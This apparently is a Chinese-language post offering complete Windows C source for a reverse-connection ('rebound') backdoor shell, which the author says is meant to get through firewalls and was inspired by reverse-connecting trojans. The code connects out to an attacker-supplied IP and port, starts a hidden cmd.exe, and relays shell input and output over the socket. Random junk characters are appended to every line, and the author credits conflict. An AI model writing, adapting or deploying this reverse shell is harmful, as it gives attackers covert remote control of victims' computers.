这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CFul_qZ/e
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/* ============================== hH"3Y}U@
Rebound port in Windows NT lG\lu'<C
By wind,2006/7 J4`08,
===============================*/ 5uDQ*nJ|
#include S`0@fieOf
#include O(&EnNm[2
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#pragma comment(lib,"wsock32.lib") zXcSE"
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void OutputShell(); ~p'/Z@Atu
SOCKET sClient; 'QCvN b6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s4~c>voQB
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void main(int argc,char **argv) ^o,@9GTs
{ /DbwqBx
WSADATA stWsaData; }[ AIE[
int nRet; R0. `2=
SOCKADDR_IN stSaiClient,stSaiServer; Qx.E+n\
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if(argc != 3) ^4s#nf:}
{ ?[XH`c,
printf("Useage:\n\rRebound DestIP DestPort\n"); v]VIUVd
return; =i:?4pIZ
} *:\QD 8 ^
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WSAStartup(MAKEWORD(2,2),&stWsaData); = @3Qsd
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AqN(htGvx
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stSaiClient.sin_family = AF_INET; w?Q@"^IL
stSaiClient.sin_port = htons(0); IDLA-Vxo
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s)]|zu0"Ku
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;yHA.}
{ CuuHRvU8
printf("Bind Socket Failed!\n"); <&H.pN1_
return; cG"jrQ
} "G`)x+<~Z8
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stSaiServer.sin_family = AF_INET; u;=("S{"0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pMX7Rl
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _^SNI ~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m1+DeXR_g
{ NiWooFPKJ
printf("Connect Error!"); RCxqqUS\C
return; jRgv
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} Q|pz].0
OutputShell(); &=02.E@
} Ui?t@.
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void OutputShell() ^]aDLjD
{ P6IhpB59
char szBuff[1024]; Qz<v. _
SECURITY_ATTRIBUTES stSecurityAttributes; oO= 6Kd+T
OSVERSIONINFO stOsversionInfo; WBC'~ h<@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yP-.8[;
STARTUPINFO stStartupInfo; A`OU}'v?L
char *szShell; Dhef|E<
PROCESS_INFORMATION stProcessInformation; DbOWnXV"o
unsigned long lBytesRead; _Z8zD[l
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }]g>PY
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~hM4({/QN
stSecurityAttributes.lpSecurityDescriptor = 0; c-s ~q/
stSecurityAttributes.bInheritHandle = TRUE; %kVpW&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E; RI.6y
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +j`*?pPD(.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); eRv3ZHH
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s\kkD*
stStartupInfo.wShowWindow = SW_HIDE; -Tz/ZOJ
stStartupInfo.hStdInput = hReadPipe; vLkZC
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a<vCAFQ
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GetVersionEx(&stOsversionInfo); V$:v~*Y9
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switch(stOsversionInfo.dwPlatformId) kyY tL_SD
{ RYvS,hf6z
case 1: -ud!j
szShell = "command.com"; /B1NcRS
break; r--"JO%2
default: *,Y+3yM
szShell = "cmd.exe"; F'`L~!F
break;
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} L0uN|?}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \idg[&}l}
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send(sClient,szMsg,77,0); \W*ouH
while(1) Pb[wysy
{ ,T1t`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eqjl$QWPJS
if(lBytesRead) BQw#PXp3
{ 9nd'"$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1[B?nk
send(sClient,szBuff,lBytesRead,0); UHR)]5Lt
} v)X1R/z5xw
else !@*Ac$J>$
{ ]LP&v3
lBytesRead=recv(sClient,szBuff,1024,0); QF\NHV
if(lBytesRead<=0) break; v}[7)oj|
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ot,<iE#za
} nP_ s+k
} G]5'U"c j3
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return; Zx`hutCv
}